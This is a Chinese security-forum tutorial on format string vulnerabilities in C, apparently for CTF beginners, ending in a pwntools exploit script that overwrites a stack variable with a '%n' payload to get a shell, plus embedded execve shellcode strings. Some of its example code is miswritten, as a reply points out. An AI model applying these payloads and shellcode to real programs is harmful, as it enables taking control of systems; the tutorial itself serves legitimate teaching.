吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3666|回复: 10
收起左侧

[CTF] PWN入门-格式化字符串漏洞

  [复制链接]
zhefox 发表于 2022-5-16 17:18
本帖最后由 zhefox 于 2022-5-16 23:51 编辑

在我们学习c语言的时候我们就知道在输出或者输入的时候需要使用%s%d等等格式化字符,此处不过多介绍,详情可以去看看c语言的基础知识。

此处放出一些常见的格式化字符串函数。

1. #include <stdio.h>

2. int printf(const char *format, ...);
3. int fprintf(FILE stream, const char format, ...);
4. int dprintf(int fd, const char *format, ...);
5. int sprintf(char str, const char format, ...);
6. int snprintf(char str, size_t size, const char format, ...);

转换指示符号

字符 类型 使用
d 4-byte 整形
u 4-byte 无符号整形
x 4-byte 十六进制
s 4-byte ptr 字符串
c 1-byte 字符
f 8-byte 浮点数
n ?-byte 将%n之前已经打印字符个数赋值给偏移处指针所指向的地址位置

长度

字符 类型 使用
hh 1-byte 字符char
h 2-byte 短整数short int
l 4-byte 长整型
ll 8-byte 长长整型

示例

#include <stdio.h>
#include <stdlib.h>
void mian(){
        char *format = "%s";
    char *arg1 ="Hello!I‘m ReStr0!";
        printf(format,arg1);
}
此处是格式化字符串的使用方式
当我们运行它时
printf("%03d.%03d.%03d.%03d", 127,0,0,1);//"127.000.000.001"
2. printf("%.2f", 1.2345); // 1.23
3. printf("%#010x", 3735928559); // 0xdeadbeef
5. printf("%s%n", "01234", &n); // n = 5

这里拿printf格式化字符举例,在glibc库中它的相关代码如下:
1644937109075-4ceba91c-389e-42ee-960a-698a5dd4fe13.png
可以看出它从输出流种会将输出的内容按照我们设置的format进行格式化输出。

漏洞产生原因和利用原理

/***
我们在正常的对格式化字符输出时大都使用printf(*format,*arg);
此种形式进行输出,但是部分程序员在开发的使用,为了省事使用了,printf(*format);进行输出
为了方便对比,我将在下面贴出正常和存在格式化字符漏洞的写法。
***/
错误:
#include <stdio.h>
void main(){
        char str[1024];
    scanf(%s,&str);
    printf(%s);
}

正确:
#include <stdio.h>
void main(){
        char str[1024];
    scanf(%s,&str);
    printf(%s,str);
}
//但是如果我们正常输入字符的情况下,此时两个都是可以正常输出我们需要的字符串,但是当我们将%x作为arg键入后,
//错误的代码会将此处的地址打印出来,通过%n操作符我们可以修改指定地址的数据以达到劫持程序流的目的。
//而且此时因为数据长的很长,我们可以输入很多的格式化字符,来泄露我们需要的地址或者其他信息(canary等)。
//最常见的就是通过格式化字符串漏洞泄露libc进行计算基址,泄露canary 进行bypass或者通过格式化字符串漏洞进行对got表地址某几位的改写。

CTF题目例子

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int a; // [rsp+Ch] [rbp-74h] BYREF
  char str[100]; // [rsp+10h] [rbp-70h] BYREF

  memset(str, 0, sizeof(str));
  a = 16;
  printf("ReStr0 tell you %p\n", &a);
  __isoc99_scanf("%s", str);
  printf(str);
  if ( a == 32 )
  {
    puts("success");
    system("/bin/sh");
  }
  else
  {
    puts("failure");
  }
  return 0;
}

这道题目我是用64位进行编译的,我们审计代码得知,题目告诉你a的地址,只要我们通过格式化字符串漏洞修改a的值为32就可以getshell,我们也知道可以通过%x$n+p64(a_addr)修改值,那么我们该如何计算这个偏移x呢?

两张图看懂如何计算偏移

1652687680097-b683b4f9-4750-4569-bc3b-e5b0d160c0db.png
1652687682892-1078fccf-2fdc-4bd7-b9cc-50da786dfca2.png

此处我们也可以通过pwndbg自带的fmtarg进行计算

首先我们在printf的地方打下断点
1652688084831-3b43fbe7-83e0-4e06-a0bd-44a232684dd4.png
然后c运行后在输入出随便输入字符aaaa
1652688179120-e0858135-1a21-416a-8520-3647ae88af1c.png
随后停在因为之前打了断点,在printf出停下,发现aaaa返回地址在0x7fffffffdb90 输入fmtarg 0x7fffffffdb90 即可计算出偏移为8
32)JYDH@79]BW}}T`L0AW(8.png
我们也可以通过上面的两张图方法计算出偏移
1652688328668-00620ac8-e419-40bc-ba20-ff16591204c9.png
附上编译好的bin程序和exp

binary程序下载地址

链接:https://pan.baidu.com/s/11VvBozTXEZKs3ownh4grqg <br />提取码:hjtp

EXP:

# _*_ coding:utf-8 _*_
from pwn import *
context.log_level = 'debug'

p=process("fofo")
#p=remote("123.57.230.48","12342")

def debug(addr,PIE=True):
    debug_str = ""
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        for i in addr:
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str)
    else:
        for i in addr:
            debug_str+='b *{}\n'.format(hex(i))
        gdb.attach(p,debug_str)

def dbg():
    gdb.attach(p)
#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
it      = lambda                    :p.interactive()
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))
bp      = lambda bkp                :pdbg.bp(bkp)
li      = lambda str1,data1         :log.success(str1+'========>'+hex(data1))

def dbgc(addr):
    gdb.attach(p,"b*" + hex(addr) +"\n c")

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------

ru("0x")
stack = int(r(12),16)
#lg('stack',stack)#print
#log.info(hex(stack))
print hex(stack)

pay = "%32c%9$n"+p64(stack)
sl(pay)
sleep(0.1)
it()

免费评分

参与人数 6威望 +1 吾爱币 +25 热心值 +6 收起 理由
t0rika7 + 1 + 1 谢谢@Thanks!
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
chinawolf2000 + 1 + 1 热心回复!
杨辣子 + 1 + 1 我有个朋友想要你那张壁纸,就那张~
Nattevak + 1 + 1 用心讨论,共获提升!
笙若 + 1 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Hmily 发表于 2022-5-16 21:31
 楼主| zhefox 发表于 2022-5-16 23:51
Hmily 发表于 2022-5-16 21:31
贴图看下这个方法:https://www.52pojie.cn/misc.php?mod=faq&action=faq&id=29&messageid=36

谢谢,已重新贴图
moshuiNW 发表于 2022-5-17 07:06
iloveasdl 发表于 2022-5-17 09:00
学习了!
坎德沃 发表于 2022-5-18 00:57
能讲讲在一些题写入的时候程序在printf崩溃的问题吗,已经单字节写入了还是会崩溃
jncsw 发表于 2022-5-20 08:10
学习一下!感谢分享
Sneak1 发表于 2022-5-20 12:54
学习一下
hzwang1966 发表于 2022-5-20 15:46
抓紧学习~  物联网的时代快来了~  
defau1t 发表于 2023-5-10 11:40
楼主你好,你写的两种printf方式的第一种好像写错了,不是printf(%s);而是printf(str);
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 12:41

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表